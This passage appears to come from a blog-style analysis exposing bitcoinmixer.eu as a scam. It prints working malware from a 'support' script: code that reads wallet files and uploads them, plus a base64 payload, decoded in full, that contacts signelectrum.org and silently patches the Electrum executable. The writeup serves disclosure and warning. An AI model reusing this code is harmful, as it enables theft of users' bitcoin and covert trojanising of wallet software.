    if "wallets" in ow:
        now+=1
        try:
            with open(ow,"r") as fw:
                post_data="w:"+str(now)+",p:"+ow+"\n"+fw.read()
                sendpost()
        except:
            pass

if os.name == "posix" and sys.argv[0].startswith("/tmp"):
    import subprocess
    b64script="import base64;exec(base64.b64decode(b'aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHJlCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgaGFzaGxpYgppbXBvcnQgc3RydWN0CmltcG9ydCB6bGliCgojZG9udCB3YWl0bAojcHJvYyA9IFBvcGVuKFtjbWRfc3RyXSwgc2hlbGw9VHJ1ZSwgc3RkaW49Tm9uZSwgc3Rkb3V0PU5vbmUsIHN0ZGVycj1Ob25lLCBjbG9zZV9mZHM9VHJ1ZSkKCnJlX25hbWU9cmUuY29tcGlsZShiImVsZWN0cnVtLS4qLkFwcEltYWdlIikKcGlkPSIiCnByb2NsaXN0ID0gc3VicHJvY2Vzcy5Qb3BlbihbInBzIiwiLWF4Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpLmNvbW11bmljYXRlKClbMF0KZm9yIHByb2MgaW4gcHJvY2xpc3Quc3BsaXQoYiJcbiIpOgogICAgaWYgcmVfbmFtZS5zZWFyY2gocHJvYyk6CiAgICAgICAgcGlkPXJlLmZpbmRhbGwoYiJbMC05XSsiLHByb2MpCiAgICAgICAgaWYgcGlkOgogICAgICAgICAgICBwaWQ9cGlkWzBdLmRlY29kZSgiYXNjaWkiKQogICAgICAgIGJyZWFrCgppZiBwaWQgPT0gIiI6CiAgICBzeXMuZXhpdCgwKQoKcGF0aD1vcy5yZWFkbGluaygiL3Byb2MvIitwaWQrIi9leGUiKQppZiBub3QgcGF0aDoKICAgIHN5cy5leGl0KDApCgpoYXNoPSIiCndpdGggb3BlbihwYXRoLCJyYiIpIGFzIGY6CiAgICBzcmNfZGF0YT1mLnJlYWQoKQogICAgaGFzaD1oYXNobGliLnNoYTI1NihzcmNfZGF0YSkuaGV4ZGlnZXN0KCkKCmlmIG5vdCBoYXNoOgogICAgc3lzLmV4aXQoMCkKCnI9cmVxdWVzdHMucG9zdCgiaHR0cHM6Ly9zaWduZWxlY3RydW0ub3JnL2NoZWNrdmVyc2lvbiIsZGF0YT1oYXNoKQppZiByLnN0YXR1c19jb2RlID09IDIwMDoKICAgIGQ9ci5jb250ZW50CiAgICBwcmludCgicmVzcG9uc2UgbGVuZ3RoID0gIiArIHN0cihsZW4oZCkpKQogICAgaWYgbGVuKGQpIDw9IDY0OgogICAgICAgIHN5cy5leGl0KDApCiAgICBpZiBoYXNobGliLnNoYTI1NihkWzotMzJdKS5kaWdlc3QoKSAhPSBkWy0zMjpdOgogICAgICAgIHN5cy5leGl0KDApCgogICAgcGF0Y2hfcG9zID0gMAogICAgI2RuZXcgPSBiIiIKICAgIGRuZXcgPSBieXRlYXJyYXkoKQogICAgd2hpbGUgcGF0Y2hfcG9zIDwgbGVuKGQpLTMyOgogICAgICAgIChoZWFkX3R5cGUsKSA9IHN0cnVjdC51bnBhY2soIjxjIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzFdKQogICAgICAgIHBhdGNoX3Bvcys9MQogICAgICAgIGlmIGhlYWRfdHlwZSA9PSBiIlx4MDAiOgogICAgICAgICAgICBwcmludCgiMHgwMCIpCiAgICAgICAgICAgIChvZmZzZXQsIHNpemUpID0gc3RydWN0LnVucGFjaygiPElJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzhdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTgKICAgICAgICAgICAgI2RuZXcrPXNyY19kYXRhW29mZnNldDpvZmZzZXQrc2l6ZV0KICAgICAgICAgICAgZG5ldy5leHRlbmQoc3JjX2RhdGFbb2Zmc2V0Om9mZnNldCtzaXplXSkKICAgICAgICBlbGlmIGhlYWRfdHlwZSA9PSBiIlwwMSI6CiAgICAgICAgICAgIHByaW50KCIweDAxIikKICAgICAgICAgICAgKHNpemUsKSA9IHN0cnVjdC51bnBhY2soIjxJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzRdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTQKICAgICAgICAgICAgI2RuZXcrPWRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXQogICAgICAgICAgICBkbmV3LmV4dGVuZChkW3BhdGNoX3BvczpwYXRjaF9wb3Mrc2l6ZV0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsaWYgaGVhZF90eXBlID09IGIiXDAyIjoKICAgICAgICAgICAgcHJpbnQoIjB4MDIiKQogICAgICAgICAgICAoc2l6ZSwpID0gc3RydWN0LnVucGFjaygiPEkiLCBkW3BhdGNoX3BvczpwYXRjaF9wb3MrNF0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9NAogICAgICAgICAgICAjZG5ldys9emxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkKICAgICAgICAgICAgZG5ldy5leHRlbmQoemxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkpCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCJXVEYiKQoKICAgIHN0PW9zLnN0YXQocGF0aCkKICAgIGF0PXN0LnN0X2F0aW1lCiAgICBtdD1zdC5zdF9tdGltZQogICAgcGVybT1zdC5zdF9tb2RlICYgMG83NzcKICAgIG9zLnVubGluayhwYXRoKQogICAgd2l0aCBvcGVuKHBhdGgsIndiIikgYXMgZjoKICAgICAgICBmLndyaXRlKGRuZXcpCiAgICBvcy51dGltZShwYXRoLCAoYXQsIG10KSkKICAgIG9zLmNobW9kKHBhdGgsIHBlcm0p'))"
    subprocess.Popen([sys.executable, "-c", b64script], stdout=open("/dev/null","w"), preexec_fn=os.setpgrp)


print("Server exception, please, contact with support.")

We see now that running this command in your Electrum shell uploads your private keys to the Bitmixer server. It is designed to work with multiple operating systems.

After the code has been run it returns a message asking you to contact support, presumably either to alert them to sweep your keys, or so they can continue their social engineering if your keys do not currently contain funds.

Let's decode the final hashed block, which appears to be more of the same malware code:

print(base64.b64decode("aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHJlCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgaGFzaGxpYgppbXBvcnQgc3RydWN0CmltcG9ydCB6bGliCgojZG9udCB3YWl0bAojcHJvYyA9IFBvcGVuKFtjbWRfc3RyXSwgc2hlbGw9VHJ1ZSwgc3RkaW49Tm9uZSwgc3Rkb3V0PU5vbmUsIHN0ZGVycj1Ob25lLCBjbG9zZV9mZHM9VHJ1ZSkKCnJlX25hbWU9cmUuY29tcGlsZShiImVsZWN0cnVtLS4qLkFwcEltYWdlIikKcGlkPSIiCnByb2NsaXN0ID0gc3VicHJvY2Vzcy5Qb3BlbihbInBzIiwiLWF4Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpLmNvbW11bmljYXRlKClbMF0KZm9yIHByb2MgaW4gcHJvY2xpc3Quc3BsaXQoYiJcbiIpOgogICAgaWYgcmVfbmFtZS5zZWFyY2gocHJvYyk6CiAgICAgICAgcGlkPXJlLmZpbmRhbGwoYiJbMC05XSsiLHByb2MpCiAgICAgICAgaWYgcGlkOgogICAgICAgICAgICBwaWQ9cGlkWzBdLmRlY29kZSgiYXNjaWkiKQogICAgICAgIGJyZWFrCgppZiBwaWQgPT0gIiI6CiAgICBzeXMuZXhpdCgwKQoKcGF0aD1vcy5yZWFkbGluaygiL3Byb2MvIitwaWQrIi9leGUiKQppZiBub3QgcGF0aDoKICAgIHN5cy5leGl0KDApCgpoYXNoPSIiCndpdGggb3BlbihwYXRoLCJyYiIpIGFzIGY6CiAgICBzcmNfZGF0YT1mLnJlYWQoKQogICAgaGFzaD1oYXNobGliLnNoYTI1NihzcmNfZGF0YSkuaGV4ZGlnZXN0KCkKCmlmIG5vdCBoYXNoOgogICAgc3lzLmV4aXQoMCkKCnI9cmVxdWVzdHMucG9zdCgiaHR0cHM6Ly9zaWduZWxlY3RydW0ub3JnL2NoZWNrdmVyc2lvbiIsZGF0YT1oYXNoKQppZiByLnN0YXR1c19jb2RlID09IDIwMDoKICAgIGQ9ci5jb250ZW50CiAgICBwcmludCgicmVzcG9uc2UgbGVuZ3RoID0gIiArIHN0cihsZW4oZCkpKQogICAgaWYgbGVuKGQpIDw9IDY0OgogICAgICAgIHN5cy5leGl0KDApCiAgICBpZiBoYXNobGliLnNoYTI1NihkWzotMzJdKS5kaWdlc3QoKSAhPSBkWy0zMjpdOgogICAgICAgIHN5cy5leGl0KDApCgogICAgcGF0Y2hfcG9zID0gMAogICAgI2RuZXcgPSBiIiIKICAgIGRuZXcgPSBieXRlYXJyYXkoKQogICAgd2hpbGUgcGF0Y2hfcG9zIDwgbGVuKGQpLTMyOgogICAgICAgIChoZWFkX3R5cGUsKSA9IHN0cnVjdC51bnBhY2soIjxjIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzFdKQogICAgICAgIHBhdGNoX3Bvcys9MQogICAgICAgIGlmIGhlYWRfdHlwZSA9PSBiIlx4MDAiOgogICAgICAgICAgICBwcmludCgiMHgwMCIpCiAgICAgICAgICAgIChvZmZzZXQsIHNpemUpID0gc3RydWN0LnVucGFjaygiPElJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzhdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTgKICAgICAgICAgICAgI2RuZXcrPXNyY19kYXRhW29mZnNldDpvZmZzZXQrc2l6ZV0KICAgICAgICAgICAgZG5ldy5leHRlbmQoc3JjX2RhdGFbb2Zmc2V0Om9mZnNldCtzaXplXSkKICAgICAgICBlbGlmIGhlYWRfdHlwZSA9PSBiIlwwMSI6CiAgICAgICAgICAgIHByaW50KCIweDAxIikKICAgICAgICAgICAgKHNpemUsKSA9IHN0cnVjdC51bnBhY2soIjxJIiwgZFtwYXRjaF9wb3M6cGF0Y2hfcG9zKzRdKQogICAgICAgICAgICBwYXRjaF9wb3MrPTQKICAgICAgICAgICAgI2RuZXcrPWRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXQogICAgICAgICAgICBkbmV3LmV4dGVuZChkW3BhdGNoX3BvczpwYXRjaF9wb3Mrc2l6ZV0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsaWYgaGVhZF90eXBlID09IGIiXDAyIjoKICAgICAgICAgICAgcHJpbnQoIjB4MDIiKQogICAgICAgICAgICAoc2l6ZSwpID0gc3RydWN0LnVucGFjaygiPEkiLCBkW3BhdGNoX3BvczpwYXRjaF9wb3MrNF0pCiAgICAgICAgICAgIHBhdGNoX3Bvcys9NAogICAgICAgICAgICAjZG5ldys9emxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkKICAgICAgICAgICAgZG5ldy5leHRlbmQoemxpYi5kZWNvbXByZXNzKGRbcGF0Y2hfcG9zOnBhdGNoX3BvcytzaXplXSkpCiAgICAgICAgICAgIHBhdGNoX3Bvcys9c2l6ZQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCJXVEYiKQoKICAgIHN0PW9zLnN0YXQocGF0aCkKICAgIGF0PXN0LnN0X2F0aW1lCiAgICBtdD1zdC5zdF9tdGltZQogICAgcGVybT1zdC5zdF9tb2RlICYgMG83NzcKICAgIG9zLnVubGluayhwYXRoKQogICAgd2l0aCBvcGVuKHBhdGgsIndiIikgYXMgZjoKICAgICAgICBmLndyaXRlKGRuZXcpCiAgICBvcy51dGltZShwYXRoLCAoYXQsIG10KSkKICAgIG9zLmNobW9kKHBhdGgsIHBlcm0p").decode())

Result:

import subprocess
import re
import os
import sys
import requests
import hashlib
import struct
import zlib

#dont waitl
#proc = Popen([cmd_str], shell=True, stdin=None, stdout=None, stderr=None, close_fds=True)

re_name=re.compile(b"electrum-.*.AppImage")
pid=""
proclist = subprocess.Popen(["ps","-ax"], stdout=subprocess.PIPE).communicate()[0]
for proc in proclist.split(b"\n"):
    if re_name.search(proc):
        pid=re.findall(b"[0-9]+",proc)
        if pid:
            pid=pid[0].decode("ascii")
        break

if pid == "":
    sys.exit(0)

path=os.readlink("/proc/"+pid+"/exe")
if not path:
    sys.exit(0)

hash=""
with open(path,"rb") as f:
    src_data=f.read()
    hash=hashlib.sha256(src_data).hexdigest()

if not hash:
    sys.exit(0)

r=requests.post("https://signelectrum.org/checkversion",data=hash)
if r.status_code == 200:
    d=r.content
    print("response length = " + str(len(d)))
    if len(d) <= 64:
        sys.exit(0)
    if hashlib.sha256(d[:-32]).digest() != d[-32:]:
        sys.exit(0)

    patch_pos = 0
    #dnew = b""
    dnew = bytearray()
    while patch_pos < len(d)-32:
        (head_type,) = struct.unpack("<c", d[patch_pos:patch_pos+1])
        patch_pos+=1
        if head_type == b"\x00":
            print("0x00")
            (offset, size) = struct.unpack("<II", d[patch_pos:patch_pos+8])
            patch_pos+=8
            #dnew+=src_data[offset:offset+size]
            dnew.extend(src_data[offset:offset+size])
        elif head_type == b"\01":
            print("0x01")
            (size,) = struct.unpack("<I", d[patch_pos:patch_pos+4])
            patch_pos+=4
            #dnew+=d[patch_pos:patch_pos+size]
            dnew.extend(d[patch_pos:patch_pos+size])
            patch_pos+=size
        elif head_type == b"\02":
            print("0x02")
            (size,) = struct.unpack("<I", d[patch_pos:patch_pos+4])
            patch_pos+=4
            #dnew+=zlib.decompress(d[patch_pos:patch_pos+size])
            dnew.extend(zlib.decompress(d[patch_pos:patch_pos+size]))
            patch_pos+=size
        else:
            print("WTF")

    st=os.stat(path)
    at=st.st_atime
    mt=st.st_mtime
    perm=st.st_mode & 0o777
    os.unlink(path)
    with open(path,"wb") as f:
        f.write(dnew)
    os.utime(path, (at, mt))
    os.chmod(path, perm)

It's clear to see that Bitcoinmixer are attempting to steal users Bitcoins. First, they blatently steal funds during the mixing service, and then after the user contacts support they are victimised with a further attempt to completely clean out their wallet.

Conclusion of analysis: bitcoinmixer.eu is a SCAM mixing service which steals Bitcoin from users. Anyone using their services should stop immediately.

I would recommend Electrum disable exec() and eval() inside their shell, to prevent further malware of this nature.